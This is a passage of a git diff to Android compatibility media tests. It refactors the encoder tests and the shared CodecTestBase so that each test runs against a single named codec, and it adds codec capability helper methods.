-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         boolean[] boolStates = {true, false};
         setUpSource(mInputFile);
         OutputManager ref = new OutputManager();
         OutputManager test = new OutputManager();
-        for (String encoder : listOfEncoders) {
-            mCodec = MediaCodec.createByCodecName(encoder);
-            assertTrue("codec name act/got: " + mCodec.getName() + '/' + encoder,
-                    mCodec.getName().equals(encoder));
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
+            assertTrue("codec name act/got: " + mCodec.getName() + '/' + mCodecName,
+                    mCodec.getName().equals(mCodecName));
             assertTrue("error! codec canonical name is null",
                     mCodec.getCanonicalName() != null && !mCodec.getCanonicalName().isEmpty());
             /* TODO(b/149027258) */
@@ -303,17 +180,18 @@
                     for (boolean isAsync : boolStates) {
                         String log = String.format(
                                 "format: %s \n codec: %s, file: %s, mode: %s, eos type: %s:: ",
-                                format, encoder, mInputFile, (isAsync ? "async" : "sync"),
+                                format, mCodecName, mInputFile, (isAsync ? "async" : "sync"),
                                 (eosType ? "eos with last frame" : "eos separate"));
                         mOutputBuff = loopCounter == 0 ? ref : test;
                         mOutputBuff.reset();
-                        validateMetrics(encoder);
+                        mInfoList.clear();
+                        validateMetrics(mCodecName);
                         configureCodec(format, isAsync, eosType, true);
                         mCodec.start();
                         doWork(Integer.MAX_VALUE);
                         queueEOS();
                         waitForAllOutputs();
-                        validateMetrics(encoder, format);
+                        validateMetrics(mCodecName, format);
                         /* TODO(b/147348711) */
                         if (false) mCodec.stop();
                         else mCodec.reset();
@@ -358,12 +236,10 @@
     public void testLosslessEncodeDecode() throws IOException, InterruptedException {
         Assume.assumeTrue(isCodecLossless(mMime));
         setUpParams(Integer.MAX_VALUE);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         setUpSource(mInputFile);
         mOutputBuff = new OutputManager();
-        for (String encoder : listOfEncoders) {
-            mCodec = MediaCodec.createByCodecName(encoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             mSaveToMem = true;
             for (MediaFormat format : mFormats) {
                 if (mIsAudio) {
@@ -373,8 +249,8 @@
                     mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
                     mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
                 }
-                String log = String.format("format: %s \n codec: %s, file: %s :: ", format, encoder,
-                        mInputFile);
+                String log = String.format("format: %s \n codec: %s, file: %s :: ", format,
+                        mCodecName, mInputFile);
                 mOutputBuff.reset();
                 mInfoList.clear();
                 configureCodec(format, true, true, true);
@@ -422,15 +298,13 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleEncodeNative() throws IOException {
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         int colorFormat = -1;
-        for (String encoder : listOfEncoders) {
+        {
             if (!mIsAudio) {
-                colorFormat = findByteBufferColorFormat(encoder, mMime);
+                colorFormat = findByteBufferColorFormat(mCodecName, mMime);
                 assertTrue("no valid color formats received", colorFormat != -1);
             }
-            assertTrue(nativeTestSimpleEncode(encoder, mInpPrefix + mInputFile, mMime, mBitrates,
+            assertTrue(nativeTestSimpleEncode(mCodecName, mInpPrefix + mInputFile, mMime, mBitrates,
                     mEncParamList1, mEncParamList2, colorFormat));
         }
     }
@@ -444,12 +318,10 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testFlush() throws IOException, InterruptedException {
         setUpParams(1);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         setUpSource(mInputFile);
         boolean[] boolStates = {true, false};
         mOutputBuff = new OutputManager();
-        for (String encoder : listOfEncoders) {
+        {
             MediaFormat inpFormat = mFormats.get(0);
             if (mIsAudio) {
                 mSampleRate = inpFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE);
@@ -458,9 +330,9 @@
                 mWidth = inpFormat.getInteger(MediaFormat.KEY_WIDTH);
                 mHeight = inpFormat.getInteger(MediaFormat.KEY_HEIGHT);
             }
-            mCodec = MediaCodec.createByCodecName(encoder);
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             for (boolean isAsync : boolStates) {
-                String log = String.format("encoder: %s, input file: %s, mode: %s:: ", encoder,
+                String log = String.format("encoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mInputFile, (isAsync ? "async" : "sync"));
                 configureCodec(inpFormat, isAsync, true, true);
                 mCodec.start();
@@ -468,6 +340,7 @@
                 /* test flush in running state before queuing input */
                 flushCodec();
                 mOutputBuff.reset();
+                mInfoList.clear();
                 if (mIsCodecInAsyncMode) mCodec.start();
                 doWork(23);
                 assertTrue(log + " pts is not strictly increasing",
@@ -477,8 +350,9 @@
                 /* test flush in running state */
                 flushCodec();
                 mOutputBuff.reset();
+                mInfoList.clear();
                 if (mIsCodecInAsyncMode) mCodec.start();
-                if (checkMetrics) validateMetrics(encoder, inpFormat);
+                if (checkMetrics) validateMetrics(mCodecName, inpFormat);
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
                 waitForAllOutputs();
@@ -499,6 +373,7 @@
                 /* test flush in eos state */
                 flushCodec();
                 mOutputBuff.reset();
+                mInfoList.clear();
                 if (mIsCodecInAsyncMode) mCodec.start();
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
@@ -531,15 +406,13 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testFlushNative() throws IOException {
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         int colorFormat = -1;
-        for (String encoder : listOfEncoders) {
+        {
             if (!mIsAudio) {
-                colorFormat = findByteBufferColorFormat(encoder, mMime);
+                colorFormat = findByteBufferColorFormat(mCodecName, mMime);
                 assertTrue("no valid color formats received", colorFormat != -1);
             }
-            assertTrue(nativeTestFlush(encoder, mInpPrefix + mInputFile, mMime, mBitrates,
+            assertTrue(nativeTestFlush(mCodecName, mInpPrefix + mInputFile, mMime, mBitrates,
                     mEncParamList1, mEncParamList2, colorFormat));
         }
     }
@@ -554,16 +427,15 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testReconfigure() throws IOException, InterruptedException {
         setUpParams(2);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         setUpSource(mInputFile);
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
-        for (String encoder : listOfEncoders) {
+        {
+            boolean saveToMem = false; /* TODO(b/149027258) */
             OutputManager configRef = null;
             if (mFormats.size() > 1) {
                 MediaFormat format = mFormats.get(1);
-                encodeToMemory(mInputFile, encoder, Integer.MAX_VALUE, format);
+                encodeToMemory(mInputFile, mCodecName, Integer.MAX_VALUE, format, saveToMem);
                 configRef = mOutputBuff;
                 if (mIsAudio) {
                     assertTrue("config reference output pts is not strictly increasing",
@@ -574,7 +446,7 @@
                 }
             }
             MediaFormat format = mFormats.get(0);
-            encodeToMemory(mInputFile, encoder, Integer.MAX_VALUE, format);
+            encodeToMemory(mInputFile, mCodecName, Integer.MAX_VALUE, format, saveToMem);
             OutputManager ref = mOutputBuff;
             if (mIsAudio) {
                 assertTrue("reference output pts is not strictly increasing",
@@ -584,9 +456,9 @@
                         ref.isOutPtsListIdenticalToInpPtsList((mMaxBFrames != 0)));
             }
             mOutputBuff = test;
-            mCodec = MediaCodec.createByCodecName(encoder);
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             for (boolean isAsync : boolStates) {
-                String log = String.format("encoder: %s, input file: %s, mode: %s:: ", encoder,
+                String log = String.format("encoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mInputFile, (isAsync ? "async" : "sync"));
                 configureCodec(format, isAsync, true, true);
 
@@ -599,14 +471,12 @@
                 mCodec.start();
                 doWork(23);
 
-                if (mOutputCount != 0) validateMetrics(encoder, format);
+                if (mOutputCount != 0) validateMetrics(mCodecName, format);
 
                 /* test reconfigure codec in running state */
                 reConfigureCodec(format, isAsync, true, true);
                 mCodec.start();
-                /* TODO(b/149027258) */
-                if (true) mSaveToMem = false;
-                else mSaveToMem = true;
+                mSaveToMem = saveToMem;
                 test.reset();
                 doWork(Integer.MAX_VALUE);
                 queueEOS();
@@ -675,15 +545,13 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testReconfigureNative() throws IOException {
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         int colorFormat = -1;
-        for (String encoder : listOfEncoders) {
+        {
             if (!mIsAudio) {
-                colorFormat = findByteBufferColorFormat(encoder, mMime);
+                colorFormat = findByteBufferColorFormat(mCodecName, mMime);
                 assertTrue("no valid color formats received", colorFormat != -1);
             }
-            assertTrue(nativeTestReconfigure(encoder, mInpPrefix + mInputFile, mMime, mBitrates,
+            assertTrue(nativeTestReconfigure(mCodecName, mInpPrefix + mInputFile, mMime, mBitrates,
                     mEncParamList1, mEncParamList2, colorFormat));
         }
     }
@@ -695,23 +563,22 @@
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testOnlyEos() throws IOException, InterruptedException {
         setUpParams(1);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         boolean[] boolStates = {true, false};
         OutputManager ref = new OutputManager();
         OutputManager test = new OutputManager();
-        for (String encoder : listOfEncoders) {
-            mCodec = MediaCodec.createByCodecName(encoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             /* TODO(b/149027258) */
             if (true) mSaveToMem = false;
             else mSaveToMem = true;
             int loopCounter = 0;
             for (boolean isAsync : boolStates) {
-                String log = String.format("encoder: %s, input file: %s, mode: %s:: ", encoder,
+                String log = String.format("encoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mInputFile, (isAsync ? "async" : "sync"));
                 configureCodec(mFormats.get(0), isAsync, false, true);
                 mOutputBuff = loopCounter == 0 ? ref : test;
                 mOutputBuff.reset();
+                mInfoList.clear();
                 mCodec.start();
                 queueEOS();
                 waitForAllOutputs();
@@ -743,23 +610,20 @@
     @SmallTest
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testOnlyEosNative() throws IOException {
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         int colorFormat = -1;
-        for (String encoder : listOfEncoders) {
+        {
             if (!mIsAudio) {
-                colorFormat = findByteBufferColorFormat(encoder, mMime);
+                colorFormat = findByteBufferColorFormat(mCodecName, mMime);
                 assertTrue("no valid color formats received", colorFormat != -1);
             }
-            assertTrue(nativeTestOnlyEos(encoder, mMime, mBitrates, mEncParamList1, mEncParamList2,
-                    colorFormat));
+            assertTrue(nativeTestOnlyEos(mCodecName, mMime, mBitrates, mEncParamList1,
+                    mEncParamList2, colorFormat));
         }
     }
 
     /**
      * Test set parameters : force key frame
      */
-    @Ignore("TODO(b/151302863)")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSetForceSyncFrame() throws IOException, InterruptedException {
@@ -767,8 +631,6 @@
         // Maximum allowed key frame interval variation from the target value.
         final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
         setUpParams(1);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         boolean[] boolStates = {true, false};
         setUpSource(mInputFile);
         MediaFormat format = mFormats.get(0);
@@ -780,13 +642,14 @@
         final int KEY_FRAME_POS = mFrameRate * KEY_FRAME_INTERVAL;
         final int NUM_KEY_FRAME_REQUESTS = 7;
         mOutputBuff = new OutputManager();
-        for (String encoder : listOfEncoders) {
-            mCodec = MediaCodec.createByCodecName(encoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             for (boolean isAsync : boolStates) {
                 String log = String.format(
-                        "format: %s \n codec: %s, file: %s, mode: %s:: ", format, encoder,
+                        "format: %s \n codec: %s, file: %s, mode: %s:: ", format, mCodecName,
                         mInputFile, (isAsync ? "async" : "sync"));
                 mOutputBuff.reset();
+                mInfoList.clear();
                 configureCodec(format, isAsync, false, true);
                 mCodec.start();
                 for (int i = 0; i < NUM_KEY_FRAME_REQUESTS; i++) {
@@ -840,15 +703,13 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSetForceSyncFrameNative() throws IOException {
         Assume.assumeTrue(!mIsAudio);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         int colorFormat = -1;
-        for (String encoder : listOfEncoders) {
+        {
             if (!mIsAudio) {
-                colorFormat = findByteBufferColorFormat(encoder, mMime);
+                colorFormat = findByteBufferColorFormat(mCodecName, mMime);
                 assertTrue("no valid color formats received", colorFormat != -1);
             }
-            assertTrue(nativeTestSetForceSyncFrame(encoder, mInpPrefix + mInputFile, mMime,
+            assertTrue(nativeTestSetForceSyncFrame(mCodecName, mInpPrefix + mInputFile, mMime,
                     mBitrates, mEncParamList1, mEncParamList2, colorFormat));
         }
     }
@@ -856,14 +717,11 @@
     /**
      * Test set parameters : change bitrate dynamically
      */
-    @Ignore("TODO(b/151302863)")
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testAdaptiveBitRate() throws IOException, InterruptedException {
         Assume.assumeTrue(!mIsAudio);
         setUpParams(1);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         boolean[] boolStates = {true, false};
         setUpSource(mInputFile);
         MediaFormat format = mFormats.get(0);
@@ -874,10 +732,10 @@
         final int BR_CHANGE_REQUESTS = 7;
         mOutputBuff = new OutputManager();
         mSaveToMem = true;
-        for (String encoder : listOfEncoders) {
+        {
             /* TODO(b/147574800) */
-            if (encoder.equals("c2.android.hevc.encoder")) continue;
-            mCodec = MediaCodec.createByCodecName(encoder);
+            if (mCodecName.equals("c2.android.hevc.encoder")) return;
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             format.removeKey(MediaFormat.KEY_BITRATE_MODE);
             MediaCodecInfo.EncoderCapabilities cap =
                     mCodec.getCodecInfo().getCapabilitiesForType(mMime).getEncoderCapabilities();
@@ -890,9 +748,10 @@
             }
             for (boolean isAsync : boolStates) {
                 String log = String.format(
-                        "format: %s \n codec: %s, file: %s, mode: %s:: ", format, encoder,
+                        "format: %s \n codec: %s, file: %s, mode: %s:: ", format, mCodecName,
                         mInputFile, (isAsync ? "async" : "sync"));
                 mOutputBuff.reset();
+                mInfoList.clear();
                 configureCodec(format, isAsync, false, true);
                 mCodec.start();
                 int expOutSize = 0;
@@ -940,18 +799,16 @@
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testAdaptiveBitRateNative() throws IOException {
         Assume.assumeTrue(!mIsAudio);
-        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
-        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
         int colorFormat = -1;
-        for (String encoder : listOfEncoders) {
+        {
             /* TODO(b/147574800) */
-            if (encoder.equals("c2.android.hevc.encoder")) continue;
+            if (mCodecName.equals("c2.android.hevc.encoder")) return;
             if (!mIsAudio) {
-                colorFormat = findByteBufferColorFormat(encoder, mMime);
+                colorFormat = findByteBufferColorFormat(mCodecName, mMime);
                 assertTrue("no valid color formats received", colorFormat != -1);
             }
-            assertTrue(nativeTestAdaptiveBitRate(encoder, mInpPrefix + mInputFile, mMime, mBitrates,
-                    mEncParamList1, mEncParamList2, colorFormat));
+            assertTrue(nativeTestAdaptiveBitRate(mCodecName, mInpPrefix + mInputFile, mMime,
+                    mBitrates, mEncParamList1, mEncParamList2, colorFormat));
         }
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/CodecListTest.java b/tests/media/src/android/mediav2/cts/CodecListTest.java
index 4c6abaa..07bf4ac 100644
--- a/tests/media/src/android/mediav2/cts/CodecListTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecListTest.java
@@ -44,7 +44,7 @@
         boolean[] modes = {true, false};
         for (boolean isEncoder : modes) {
             ArrayList<String> cddRequiredMimeList =
-                    CodecTestBase.prepareRequiredArgsList(isEncoder, needAudio, needVideo);
+                    CodecTestBase.compileRequiredMimeList(isEncoder, needAudio, needVideo);
             for (String mime : cddRequiredMimeList) {
                 String log = String.format("no %s found for mime %s as required by cdd ",
                         isEncoder ? "encoder" : "decoder", mime);
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 93e8c90..7b41079 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -35,7 +35,7 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import org.junit.Assert;
-import org.junit.Assume;
+import org.junit.Before;
 
 import java.io.File;
 import java.io.FileInputStream;
@@ -522,6 +522,7 @@
     // Maintain Timeouts in sync with their counterpart in NativeMediaCommon.h
     static final long Q_DEQ_TIMEOUT_US = 5000; // block at most 5ms while looking for io buffers
     static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
+    static final String INVALID_CODEC = "unknown.codec_";
     static final String mInpPrefix = WorkDir.getMediaDirString();
     static final PackageManager pm =
             InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
@@ -543,6 +544,7 @@
     boolean mSaveToMem;
     OutputManager mOutputBuff;
 
+    String mCodecName;
     MediaCodec mCodec;
     Surface mSurface;
 
@@ -611,14 +613,38 @@
     }
 
     static boolean hasDecoder(String mime) {
-        return CodecTestBase.selectCodecs(mime, null, null, false, false).size() != 0;
+        return CodecTestBase.selectCodecs(mime, null, null, false).size() != 0;
     }
 
     static boolean hasEncoder(String mime) {
-        return CodecTestBase.selectCodecs(mime, null, null, true, false).size() != 0;
+        return CodecTestBase.selectCodecs(mime, null, null, true).size() != 0;
     }
 
-    static ArrayList<String> prepareRequiredArgsList(boolean isEncoder, boolean needAudio,
+    static boolean isFeatureSupported(String name, String mime, String feature) throws IOException {
+        MediaCodec codec = MediaCodec.createByCodecName(name);
+        MediaCodecInfo.CodecCapabilities codecCapabilities =
+                codec.getCodecInfo().getCapabilitiesForType(mime);
+        boolean isSupported = codecCapabilities.isFeatureSupported(feature);
+        codec.release();
+        return isSupported;
+    }
+
+    static boolean areFormatsSupported(String name, String mime, ArrayList<MediaFormat> formats)
+            throws IOException {
+        MediaCodec codec = MediaCodec.createByCodecName(name);
+        MediaCodecInfo.CodecCapabilities codecCapabilities =
+                codec.getCodecInfo().getCapabilitiesForType(mime);
+        boolean isSupported = true;
+        if (formats != null) {
+            for (int i = 0; i < formats.size() && isSupported; i++) {
+                isSupported = codecCapabilities.isFormatSupported(formats.get(i));
+            }
+        }
+        codec.release();
+        return isSupported;
+    }
+
+    static ArrayList<String> compileRequiredMimeList(boolean isEncoder, boolean needAudio,
             boolean needVideo) {
         Set<String> list = new HashSet<>();
         if (!isEncoder) {
@@ -686,12 +712,12 @@
         return new ArrayList<>(list);
     }
 
-    static List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList, boolean isEncoder,
-            boolean needAudio, boolean needVideo, boolean mustTestRequiredArgsList) {
-        ArrayList<String> cddRequiredMimeList =
-                prepareRequiredArgsList(isEncoder, needAudio, needVideo);
+    static ArrayList<String> compileCompleteTestMimeList(boolean isEncoder, boolean needAudio,
+            boolean needVideo) {
         ArrayList<String> mimes = new ArrayList<>();
         if (mimeSelKeys == null) {
+            ArrayList<String> cddRequiredMimeList =
+                    compileRequiredMimeList(isEncoder, needAudio, needVideo);
             MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
             MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
             for (MediaCodecInfo codecInfo : codecInfos) {
@@ -732,20 +758,55 @@
                 if (mimeSelKeys.contains(key) && !mimes.contains(value)) mimes.add(value);
             }
         }
+        return mimes;
+    }
+
+    static List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList, boolean isEncoder,
+            boolean needAudio, boolean needVideo, boolean mustTestAllCodecs) {
+        ArrayList<String> mimes = compileCompleteTestMimeList(isEncoder, needAudio, needVideo);
+        ArrayList<String> cddRequiredMimeList =
+                compileRequiredMimeList(isEncoder, needAudio, needVideo);
         final List<Object[]> argsList = new ArrayList<>();
+        int argLength = exhaustiveArgsList.get(0).length;
         for (String mime : mimes) {
+            ArrayList<String> totalListOfCodecs = selectCodecs(mime, null, null, isEncoder);
+            ArrayList<String> listOfCodecs = new ArrayList<>();
+            if (codecPrefix != null) {
+                for (String codec : totalListOfCodecs) {
+                    if (codec.startsWith(codecPrefix)) {
+                        listOfCodecs.add(codec);
+                    }
+                }
+            } else {
+                listOfCodecs = totalListOfCodecs;
+            }
+            if (mustTestAllCodecs && listOfCodecs.size() == 0 && codecPrefix == null) {
+                listOfCodecs.add(INVALID_CODEC + mime);
+            }
             boolean miss = true;
             for (Object[] arg : exhaustiveArgsList) {
                 if (mime.equals(arg[0])) {
-                    argsList.add(arg);
+                    for (String codec : listOfCodecs) {
+                        Object[] arg_ = new Object[argLength + 1];
+                        arg_[0] = codec;
+                        System.arraycopy(arg, 0, arg_, 1, argLength);
+                        argsList.add(arg_);
+                    }
                     miss = false;
                 }
             }
-            if (miss && mustTestRequiredArgsList) {
-                if (cddRequiredMimeList.contains(mime)) {
-                    fail("no test vectors for required mimetype " + mime);
+            if (miss && mustTestAllCodecs) {
+                if (!cddRequiredMimeList.contains(mime)) {
+                    Log.w(LOG_TAG, "no test vectors available for optional mime type " + mime);
+                    continue;
                 }
-                Log.w(LOG_TAG, "no test vectors available for optional mime type " + mime);
+                for (String codec : listOfCodecs) {
+                    Object[] arg_ = new Object[argLength + 1];
+                    arg_[0] = codec;
+                    arg_[1] = mime;
+                    System.arraycopy(exhaustiveArgsList.get(0), 1, arg_, 2, argLength - 1);
+                    argsList.add(arg_);
+                }
             }
         }
         return argsList;
@@ -911,22 +972,13 @@
     }
 
     static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
-                                          String[] features, boolean isEncoder) {
-        return selectCodecs(mime, formats, features, isEncoder, true);
-    }
-
-    static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
-            String[] features, boolean isEncoder, boolean enableCodecFilter) {
+            String[] features, boolean isEncoder) {
         MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
         MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
         ArrayList<String> listOfCodecs = new ArrayList<>();
         for (MediaCodecInfo codecInfo : codecInfos) {
             if (codecInfo.isEncoder() != isEncoder) continue;
             if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q && codecInfo.isAlias()) continue;
-            if (enableCodecFilter && codecPrefix != null &&
-                    !codecInfo.getName().startsWith(codecPrefix)) {
-                continue;
-            }
             String[] types = codecInfo.getSupportedTypes();
             for (String type : types) {
                 if (type.equalsIgnoreCase(mime)) {
@@ -953,10 +1005,6 @@
                 }
             }
         }
-        if (enableCodecFilter && codecPrefix != null) {
-            Assume.assumeFalse("Skipping test because of --codec-prefix " + codecPrefix,
-                    listOfCodecs.isEmpty());
-        }
         return listOfCodecs;
     }
 
@@ -1047,6 +1095,13 @@
             mSurface = null;
         }
     }
+
+    @Before
+    public void isCodecNameValid() {
+        if (mCodecName != null && mCodecName.startsWith(INVALID_CODEC)) {
+            fail("no valid component available for current test ");
+        }
+    }
 }
 
 class CodecDecoderTestBase extends CodecTestBase {
@@ -1063,7 +1118,8 @@
 
     MediaExtractor mExtractor;
 
-    CodecDecoderTestBase(String mime, String testFile) {
+    CodecDecoderTestBase(String codecName, String mime, String testFile) {
+        mCodecName = codecName;
         mMime = mime;
         mTestFile = testFile;
         mAsyncHandle = new CodecAsyncHandler();
@@ -1328,32 +1384,67 @@
     private final int INP_FRM_HEIGHT = 288;
 
     final String mMime;
+    final int[] mBitrates;
+    final int[] mEncParamList1;
+    final int[] mEncParamList2;
+
     final String mInputFile;
     byte[] mInputData;
     int mNumBytesSubmitted;
     long mInputOffsetPts;
 
+    ArrayList<MediaFormat> mFormats;
+    ArrayList<MediaCodec.BufferInfo> mInfoList;
+
     int mWidth, mHeight;
     int mFrameRate;
     int mMaxBFrames;
     int mChannels;
     int mSampleRate;
 
-    CodecEncoderTestBase(String mime) {
+    CodecEncoderTestBase(String encoder, String mime, int[] bitrates, int[] encoderInfo1,
+            int[] encoderInfo2) {
         mMime = mime;
+        mCodecName = encoder;
+        mBitrates = bitrates;
+        mEncParamList1 = encoderInfo1;
+        mEncParamList2 = encoderInfo2;
+        mFormats = new ArrayList<>();
+        mInfoList = new ArrayList<>();
         mWidth = INP_FRM_WIDTH;
         mHeight = INP_FRM_HEIGHT;
-        mChannels = 1;
-        mSampleRate = 8000;
-        mFrameRate = 30;
-        mMaxBFrames = 0;
         if (mime.equals(MediaFormat.MIMETYPE_VIDEO_MPEG4)) mFrameRate = 12;
         else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_H263)) mFrameRate = 12;
+        else mFrameRate = 30;
+        mMaxBFrames = 0;
+        mChannels = 1;
+        mSampleRate = 8000;
         mAsyncHandle = new CodecAsyncHandler();
         mIsAudio = mMime.startsWith("audio/");
         mInputFile = mIsAudio ? mInputAudioFile : mInputVideoFile;
     }
 
+    /**
+     * Selects encoder input color format in byte buffer mode. As of now ndk tests support only
+     * 420p, 420sp. COLOR_FormatYUV420Flexible although can represent any form of yuv, it doesn't
+     * work in ndk due to lack of AMediaCodec_GetInputImage()
+     */
+    static int findByteBufferColorFormat(String encoder, String mime) throws IOException {
+        MediaCodec codec = MediaCodec.createByCodecName(encoder);
+        MediaCodecInfo.CodecCapabilities cap = codec.getCodecInfo().getCapabilitiesForType(mime);
+        int colorFormat = -1;
+        for (int c : cap.colorFormats) {
+            if (c == MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420SemiPlanar ||
+                    c == MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar) {
+                Log.v(LOG_TAG, "selecting color format: " + c);
+                colorFormat = c;
+                break;
+            }
+        }
+        codec.release();
+        return colorFormat;
+    }
+
     @Override
     void resetContext(boolean isAsync, boolean signalEOSWithLastFrame) {
         super.resetContext(isAsync, signalEOSWithLastFrame);
@@ -1527,6 +1618,11 @@
         }
         if (info.size > 0) {
             if (mSaveToMem) {
+                MediaCodec.BufferInfo copy = new MediaCodec.BufferInfo();
+                copy.set(mOutputBuff.getOutStreamSize(), info.size, info.presentationTimeUs,
+                        info.flags);
+                mInfoList.add(copy);
+
                 ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
                 mOutputBuff.saveToMemory(buf, info);
             }
@@ -1545,4 +1641,88 @@
         assertTrue(metrics.getInt(MediaCodec.MetricsConstants.ENCODER) == 1);
         return metrics;
     }
+
+    void setUpParams(int limit) {
+        int count = 0;
+        for (int bitrate : mBitrates) {
+            if (mIsAudio) {
+                for (int rate : mEncParamList1) {
+                    for (int channels : mEncParamList2) {
+                        MediaFormat format = new MediaFormat();
+                        format.setString(MediaFormat.KEY_MIME, mMime);
+                        if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+                            format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, bitrate);
+                        } else {
+                            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+                        }
+                        format.setInteger(MediaFormat.KEY_SAMPLE_RATE, rate);
+                        format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, channels);
+                        mFormats.add(format);
+                        count++;
+                        if (count >= limit) return;
+                    }
+                }
+            } else {
+                assertTrue("Wrong number of height, width parameters",
+                        mEncParamList1.length == mEncParamList2.length);
+                for (int i = 0; i < mEncParamList1.length; i++) {
+                    MediaFormat format = new MediaFormat();
+                    format.setString(MediaFormat.KEY_MIME, mMime);
+                    format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+                    format.setInteger(MediaFormat.KEY_WIDTH, mEncParamList1[i]);
+                    format.setInteger(MediaFormat.KEY_HEIGHT, mEncParamList2[i]);
+                    format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+                    format.setInteger(MediaFormat.KEY_MAX_B_FRAMES, mMaxBFrames);
+                    format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+                    format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                            MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+                    mFormats.add(format);
+                    count++;
+                    if (count >= limit) return;
+                }
+            }
+        }
+    }
+
+    void encodeToMemory(String file, String encoder, int frameLimit, MediaFormat format,
+            boolean saveToMem) throws IOException, InterruptedException {
+        mSaveToMem = saveToMem;
+        mOutputBuff = new OutputManager();
+        mInfoList.clear();
+        mCodec = MediaCodec.createByCodecName(encoder);
+        setUpSource(file);
+        configureCodec(format, false, true, true);
+        if (mIsAudio) {
